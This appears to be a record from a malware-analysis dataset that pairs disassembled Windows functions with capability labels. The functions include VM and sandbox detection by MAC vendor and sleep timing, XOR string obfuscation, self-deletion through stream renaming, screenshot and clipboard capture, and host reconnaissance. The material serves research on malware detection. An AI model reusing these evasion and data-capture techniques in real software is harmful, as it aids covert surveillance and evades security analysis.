joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007ceb
Capabilities:
Encode data using base64

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r8
mov rdi, rdx
lea rax, [r8 + 2]
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
add rdx, rdx
and rdx, 0xfffffffffffffffc
test r9b, r9b
mov eax, 0x2e
mov ebx, 0x3d
cmovne ebx, eax
movzx eax, r9b
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov r14, qword [r8 + rax*8]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 0xf
mov qword [rbp - 8], rcx
call fcn.140007ece
test rsi, rsi
je 0x140007e5b
mov r15d, 3
xor r12d, r12d
movzx eax, byte [rdi + r12]
shr eax, 2
mov dl, byte [r14 + rax]
mov rcx, qword [rbp - 8]
call fcn.140008094
lea r13d, [r15 - 2]
cmp r13, rsi
jae 0x140007df8
movzx eax, byte [rdi + r12]
shl eax, 4
and eax, 0x30
movzx ecx, byte [rdi + r13]
shr ecx, 4
or ecx, eax
mov dl, byte [r14 + rcx]
mov rcx, qword [rbp - 8]
call fcn.140008094
lea r12d, [r15 - 1]
cmp r12, rsi
jae 0x140007e29
movzx eax, byte [rdi + r13]
and eax, 0xf
movzx ecx, byte [rdi + r12]
shr ecx, 6
lea eax, [rcx + rax*4]
mov dl, byte [r14 + rax]
mov r13, qword [rbp - 8]
mov rcx, r13
call fcn.140008094
movzx eax, byte [rdi + r12]
and eax, 0x3f
mov dl, byte [r14 + rax]
mov rcx, r13
call fcn.140008094
jmp 0x140007e4b
movzx eax, byte [rdi + r12]
shl eax, 4
and eax, 0x30
mov dl, byte [r14 + rax]
mov r12, qword [rbp - 8]
mov rcx, r12
call fcn.140008094
mov rcx, r12
mov edx, ebx
call fcn.140008094
mov rcx, r12
mov edx, ebx
call fcn.140008094
jmp 0x140007e4b
movzx eax, byte [rdi + r13]
and eax, 0xf
mov dl, byte [r14 + rax*4]
mov r12, qword [rbp - 8]
mov rcx, r12
call fcn.140008094
mov rcx, r12
mov edx, ebx
call fcn.140008094
mov r12d, r15d
add r15d, 3
cmp r12, rsi
jb 0x140007d76
mov rax, qword [rbp - 8]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1400088d4
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor esi, esi
lea rdi, [rsp + 0x30]
mov r8d, 0x20a
mov rcx, rdi
xor edx, edx
call fcn.1400201e0
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400089fa
lea rcx, [rsp + 0x30]
call fcn.140008a18
cmp rax, 0xffffffffffffffff
je 0x1400089fa
mov rdi, rax
mov ecx, 0x28
call fcn.1400a5e9c
test rax, rax
je 0x1400089fa
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x20], 0
mov dword [rax + 0x10], 0x12
movups xmm0, xmmword [str.:explorer]
movups xmmword [rax + 0x14], xmm0
mov word [rax + 0x24], 0x72
mov rcx, rdi
mov edx, 3
mov r8, rax
mov r9d, 0x28
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov ebp, eax
mov rcx, rbx
call fcn.1400a5570
test ebp, ebp
je 0x1400089fa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x30]
call fcn.140008a18
cmp rax, 0xffffffffffffffff
je 0x1400089fa
mov rdi, rax
lea r8, [rsp + 0x2f]
mov byte [r8], 0
mov byte [r8], 1
mov rcx, rax
mov edx, 4
mov r9d, 1
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x1400089fa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor esi, esi
test eax, eax
sete sil
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140034c20
mov eax, esi
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x14000d08d
Capabilities:
Get mac address on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
mov eax, 0x2c50
call fcn.140034c50
sub rsp, rax
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x2c48], rax
lea rdx, [rsp + 0x3c]
mov dword [rdx], 0x2c00
lea rsi, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
je 0x14000d0d7
xor esi, esi
jmp 0x14000d23c
lea rdi, str.VMware
lea rbx, str.Virtual
lea r14, str.Microsoft
lea r15, [rsi + 0xc]
mov rcx, r15
mov rdx, rdi
call fcn.140097b44
test rax, rax
jne 0x14000d1e4
mov rcx, r15
mov rdx, rbx
call fcn.140097b44
test rax, rax
jne 0x14000d1e4
mov rcx, r15
mov rdx, r14
call fcn.140097b44
test rax, rax
jne 0x14000d1e4
movzx eax, byte [rsi + 0x198]
cmp eax, 8
je 0x14000d166
test eax, eax
jne 0x14000d1d3
movzx eax, byte [rsi + 0x199]
cmp eax, 0xe
jle 0x14000d17a
cmp eax, 0x1b
jg 0x14000d194
cmp eax, 0xf
je 0x14000d1b4
cmp eax, 0x16
jne 0x14000d1d3
cmp byte [rsi + 0x19a], 0x3e
jne 0x14000d1d3
jmp 0x14000d1e4
cmp byte [rsi + 0x199], 0
jne 0x14000d1d3
cmp byte [rsi + 0x19a], 0x27
jne 0x14000d1d3
jmp 0x14000d1e4
cmp eax, 3
je 0x14000d1a9
cmp eax, 5
je 0x14000d1ca
cmp eax, 0xc
jne 0x14000d1d3
cmp byte [rsi + 0x19a], 0x29
jne 0x14000d1d3
jmp 0x14000d1e4
cmp eax, 0x1c
je 0x14000d1bf
cmp eax, 0x50
jne 0x14000d1d3
cmp byte [rsi + 0x19a], 0x56
jne 0x14000d1d3
jmp 0x14000d1e4
cmp byte [rsi + 0x19a], 0xff
jne 0x14000d1d3
jmp 0x14000d1e4
cmp byte [rsi + 0x19a], 0x4b
jne 0x14000d1d3
jmp 0x14000d1e4
cmp byte [rsi + 0x19a], 0x42
jne 0x14000d1d3
jmp 0x14000d1e4
cmp byte [rsi + 0x19a], 0x69
je 0x14000d1e4
mov rsi, qword [rsi]
test rsi, rsi
jne 0x14000d0ec
jmp 0x14000d0d0
lea rcx, str.MACName:__s_n
mov rdx, r15
call fcn.14000d25d
movzx eax, byte [rsi + 0x19d]
movzx ecx, byte [rsi + 0x19c]
movzx r10d, byte [rsi + 0x19b]
movzx r9d, byte [rsi + 0x19a]
movzx r8d, byte [rsi + 0x199]
movzx edx, byte [rsi + 0x198]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], r10d
lea rcx, str.MAC:__02X__02X__02X__02X__02X__02X_n
call fcn.14000d25d
mov sil, 1
mov rcx, qword [rsp + 0x2c48]
xor rcx, rsp
call fcn.140034c20
mov eax, esi
add rsp, 0x2c50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000d2cc
Capabilities:
Create thread

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edx, 1
xor ecx, ecx
mov r8d, 0x7d0
xor r9d, r9d
call qword [sym.imp.USER32.dll_SetTimer]
lea r9, [rsp + 0x40]
mov qword [r9], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x14000d070]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
lea rdi, [rsp + 0x48]
mov rbx, qword [sym.imp.USER32.dll_GetMessageW]
mov r14, qword [sym.imp.USER32.dll_TranslateMessage]
mov r15, qword [sym.imp.USER32.dll_DispatchMessageW]
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
je 0x14000d3c6
cmp dword [rsp + 0x50], 0x113
jne 0x14000d36d
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x40]
je 0x14000d37b
mov rcx, rdi
call r14
mov rcx, rdi
call r15
jmp 0x14000d346
mov dword [rsp + 0x3c], 0
test rsi, rsi
je 0x14000d3be
lea rdx, [rsp + 0x3c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rdx, qword [rsp + 0x40]
test eax, eax
je 0x14000d3be
cmp dword [rsp + 0x3c], 0x103
je 0x14000d3be
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
jmp 0x14000d3f3
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.sleep_detect:__d_n
xor edx, edx
call fcn.14000d25d
call fcn.14000d08d
mov ebx, eax
movzx edx, al
lea rcx, str.is_black_mac_address:__d_n
call fcn.14000d25d
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140034c20
mov eax, ebx
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14000ddb8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rcx
mov dword [rcx + 0x1384], 0xffffffff
mov dword [rcx + 4], edx
mov ecx, 2
mov r8d, edx
shr r8d, 0x1e
xor r8d, edx
imul edx, r8d, 0x6c078965
add edx, ecx
dec edx
mov dword [rax + rcx*4], edx
inc rcx
cmp rcx, 0x271
jne 0x14000ddcd
mov dword [rax], 0x270
ret

Function at 0x14000ddf8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [rcx]
cmp eax, 0x270
jne 0x14000de61
mov rax, 0xfffffffffffff640
mov edx, 0x80000000
mov r8d, dword [rcx + rax + 0x9c4]
and r8d, edx
mov r9d, dword [rcx + rax + 0x9c8]
mov r10d, r9d
and r10d, 0x7ffffffe
or r10d, r8d
and r9d, 1
neg r9d
and r9d, 0x9908b0df
xor r9d, dword [rcx + rax + 0xff8]
shr r10d, 1
xor r9d, r10d
mov dword [rcx + rax + 0x1384], r9d
add rax, 4
jne 0x14000de0d
mov eax, 0x270
jmp 0x14000df4f
cmp eax, 0x4e0
jb 0x14000df4f
mov rax, 0xfffffffffffffc74
mov edx, 0x80000000
mov r8d, dword [rcx + rax + 0xd50]
and r8d, edx
mov r9d, dword [rcx + rax + 0xd54]
mov r10d, r9d
and r10d, 0x7ffffffe
or r10d, r8d
and r9d, 1
neg r9d
and r9d, 0x9908b0df
xor r9d, dword [rcx + rax + 0x1384]
shr r10d, 1
xor r9d, r10d
mov dword [rcx + rax + 0x390], r9d
add rax, 4
jne 0x14000de78
xor eax, eax
mov edx, 0x80000000
mov r8d, dword [rcx + rax*4 + 0xd50]
and r8d, edx
mov r9d, dword [rcx + rax*4 + 0xd54]
mov r10d, r9d
and r10d, 0x7ffffffe
or r10d, r8d
shr r10d, 1
and r9d, 1
neg r9d
and r9d, 0x9908b0df
xor r9d, dword [rcx + rax*4 + 4]
xor r9d, r10d
mov dword [rcx + rax*4 + 0x390], r9d
inc rax
cmp rax, 0x18c
jne 0x14000dec9
mov eax, 0x80000000
and eax, dword [rcx + 0x1380]
mov edx, dword [rcx + 4]
mov r8d, edx
and r8d, 0x7ffffffe
or r8d, eax
and edx, 1
neg edx
and edx, 0x9908b0df
xor edx, dword [rcx + 0x634]
shr r8d, 1
xor edx, r8d
mov dword [rcx + 0x9c0], edx
xor eax, eax
lea edx, [rax + 1]
mov dword [rcx], edx
mov eax, eax
mov eax, dword [rcx + rax*4 + 4]
mov edx, eax
shr edx, 0xb
and edx, dword [rcx + 0x1384]
xor edx, eax
mov eax, edx
shl eax, 7
and eax, 0x9d2c5680
xor eax, edx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x1400127a8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0xc], 0
je 0x1400127df
xor edx, edx
movabs r8, 0xf6b2b971f8d9361
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x60
jne 0x1400127c0
mov byte [rax + 0xc], 0
ret

Function at 0x1400131fc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0x21], 0
je 0x140013236
xor edx, edx
movabs r8, 0x6f4f25eb5b075983
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x108
jne 0x140013214
mov byte [rax + 0x21], 0
ret

Function at 0x1400132d8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0x17], 0
je 0x140013312
xor edx, edx
movabs r8, 0x2137cb95ff634395
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0xb8
jne 0x1400132f0
mov byte [rax + 0x17], 0
ret

Function at 0x140013506
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0x15], 0
je 0x140013540
xor edx, edx
movabs r8, 0x31e92b71a3a50d79
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0xa8
jne 0x14001351e
mov byte [rax + 0x15], 0
ret
Function at 0x1400142c4
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x2c4], 0
je 0x14001441e
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x2b5]
cmp byte [rax + 0xc], 0
je 0x14001433e
xor edx, edx
movabs r8, 0xad63ed3d7549b775
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x60
jne 0x14001431f
mov byte [rax + 0xc], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140014412
mov rdi, rax
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x2d8], 0
je 0x140014481
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rdx, [rax + 0x2c5]
cmp byte [rdx + 0xf], 0
je 0x1400143c1
xor eax, eax
movabs r8, 0x13bfd92d2557e107
mov r9, rdx
mov ecx, eax
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rax, 8
inc r9
cmp rax, 0x78
jne 0x1400143a2
mov byte [rdx + 0xf], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140014409
mov rbx, rax
lea r14, [rsp + 0x24]
mov dword [r14], 0
mov ecx, 2
xor edx, edx
mov r8, r14
call rax
mov ecx, 2
mov rdx, rsi
mov r8, r14
call rbx
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test bl, bl
setne al
jmp 0x140014414
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov cl, 1
mov byte [rax + 0x2c4], cl
mov byte [rax + 0x2c1], cl
xor eax, eax
lea rcx, [0x1400dd9cb]
mov dl, byte [rax + rcx]
mov r8d, dword [0x1400f8c60]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov byte [r8 + rax + 0x2b5], dl
inc rax
cmp rax, 0xc
jne 0x140014448
lea rcx, [0x1400144e4]
call fcn.140028cd4
jmp 0x1400142f0
mov eax, dword [0x1400f8c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov cl, 1
mov byte [rax + 0x2d8], cl
mov byte [rax + 0x2d4], cl
xor eax, eax
lea rcx, [0x1400dd9d7]
mov dl, byte [rax + rcx]
mov r8d, dword [0x1400f8c60]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov byte [r8 + rax + 0x2c5], dl
inc rax
cmp rax, 0xf
jne 0x1400144ab
lea rcx, [0x14001450b]
call fcn.140028cd4
jmp 0x140014373
Function at 0x140014838
Capabilities:
Get hostname

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rsi, rcx
lea r8, [rsp + 0x34]
mov dword [r8], 0x10
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
xorps xmm0, xmm0
test eax, eax
je 0x1400148a9
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
lea rcx, [rsp + 0x20]
call fcn.1400a6fb0
test rax, rax
js 0x140014932
mov rdi, rax
cmp rax, 0xf
ja 0x1400148be
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
lea rdx, [rsp + 0x20]
mov rcx, rsi
mov r8, rdi
call fcn.140020110
mov byte [rsi + rdi], 0
jmp 0x140014925
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
jmp 0x140014925
mov qword [rsi + 0x18], 0xf
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp rax, 0xfff
jb 0x1400148fa
lea rcx, [r14 + 0x28]
call fcn.140028918
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140014906
lea rcx, [r14 + 1]
call fcn.140028918
mov rbx, rax
mov qword [rsi], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], r14
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov r8, rdi
call fcn.140020110
mov byte [rbx + rdi], 0
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.14000826f
int3

Function at 0x140014938
Capabilities:
Get token membership

Disassembly:
push rsi
sub rsp, 0x80
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor esi, esi
lea rcx, [rsp + 0x70]
mov dword [rcx], esi
mov word [rcx + 4], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov dl, 2
mov r8d, 0x20
mov r9d, 0x220
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
je 0x1400149ce
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x6c]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1400149ba
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x6c], 0
setne sil
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140034c20
mov eax, esi
add rsp, 0x80
pop rsi
ret
Function at 0x14001539c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 8], 0
je 0x1400153ce
xor ecx, ecx
movabs rdx, 0x7bfd053919dfe721
mov r8, rax
mov r9, rdx
shr r9, cl
xor byte [r8], r9b
add rcx, 8
inc r8
cmp rcx, 0x40
jne 0x1400153b4
mov byte [rax + 8], 0
ret

Function at 0x140015470
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0xb], 0
je 0x1400154a7
xor edx, edx
movabs r8, 0xcb7d8bc9058f5ba3
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x58
jne 0x140015488
mov byte [rax + 0xb], 0
ret

Function at 0x140015548
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0xb], 0
je 0x14001557f
xor edx, edx
movabs r8, 0x87e3c3e3cfe1adab
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x58
jne 0x140015560
mov byte [rax + 0xb], 0
ret

Function at 0x14001581e
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0x14], 0
je 0x140015858
xor edx, edx
movabs r8, 0xe59fef494b4dbfa1
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0xa0
jne 0x140015836
mov byte [rax + 0x14], 0
ret

Function at 0x1400158fa
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0xb], 0
je 0x140015931
xor edx, edx
movabs r8, 0x7d21cb4597bfa7d1
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x58
jne 0x140015912
mov byte [rax + 0xb], 0
ret

Function at 0x1400159d2
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
cmp byte [rcx + 0xd], 0
je 0x140015a09
xor edx, edx
movabs r8, 0x4509d34b5f0f115b
mov r9, rax
mov ecx, edx
and cl, 0x38
mov r10, r8
shr r10, cl
xor byte [r9], r10b
add rdx, 8
inc r9
cmp rdx, 0x68
jne 0x1400159ea
mov byte [rax + 0xd], 0
ret

Function at 0x140015b69
Capabilities:
Capture screenshot via keybd event
Open clipboard
Read clipboard data

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x2c
mov dl, 0x37
mov r8d, 1
xor r9d, r9d
call rsi
mov cl, 0x2c
mov dl, 0x37
mov r8d, 3
xor r9d, r9d
call rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 2
add rsp, 0x20
pop rsi
jmp qword [sym.imp.USER32.dll_GetClipboardData]
Function at 0x140015bd6
Capabilities:
Check os version

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov rdi, rdx
mov rbx, rcx
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea r14, [rsp + 0x80]
xor esi, esi
mov r8d, 0x110
mov rcx, r14
xor edx, edx
call fcn.1400201e0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [r14 - 4], 0x114
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x140015d44
cmp dword [rsp + 0x80], 5
mov eax, 1
mov r14d, 0x4f
cmovb r14d, eax
mov ecx, 0x4e
cmovb ecx, esi
mov r13, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r13
mov ebp, eax
mov ecx, r14d
call r13
mov r14d, eax
mov rcx, rbx
mov edx, 7
call qword [sym.imp.GDI32.dll_GetCurrentObject]
mov r15, rax
lea r12, [rsp + 0x50]
mov rcx, rax
mov edx, 0x20
mov r8, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [r12 + 4]
cmp eax, ebp
cmovg ebp, eax
mov eax, dword [r12 + 8]
cmp eax, r14d
cmovg r14d, eax
cmp dword [rsp + 0x80], 4
mov r12d, 0
jb 0x140015ce2
mov ecx, 0x4c
call r13
mov esi, eax
mov ecx, 0x4d
call r13
mov r12d, eax
mov rcx, rbx
mov edx, ebp
mov r8d, r14d
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
test rax, rax
je 0x140015d42
mov r15, rax
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
test rax, rax
je 0x140015d42
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
mov dword [rsp + 0x40], 0xcc0020
xor esi, esi
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9d, ebp
call qword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
cmove r15, rsi
mov rsi, r15
jmp 0x140015d44
xor esi, esi
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140034c20
mov rax, rsi
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140016b08
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x140016b41
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x140016b48
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_64
xor esi, esi
jmp 0x140016bfd
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140016b8e
mov rax, qword [rbx + 0x50]
movsxd r15, dword [rax]
test r15, r15
je 0x140016b8e
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.140020110
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
jmp 0x140016b91
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x140016bfa
mov rcx, rbx
call fcn.1400161c2
cmp r14, 0x1000
jb 0x140016bd6
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.1400a52f0
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x140016ba3
jmp 0x140016bfa
test r14, r14
je 0x140016bf7
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.1400a52f0
sub r14, rax
jmp 0x140016bfa
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140017630
Capabilities:
Enumerate processes

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x268
mov rax, qword [0x1400f5038]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
lea rdi, [rsp + 0x28]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call fcn.1400201e0
mov dword [rdi], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400176b6
lea rdi, [rsp + 0x54]
lea rbx, str.explorer.exe
lea r14, [rsp + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.1400aaf68
test eax, eax
je 0x1400176b6
mov rcx, rsi
mov rdx, r14
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140017698
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140034c20
mov eax, esi
add rsp, 0x268
pop rbx
pop rdi
pop rsi
pop r14
ret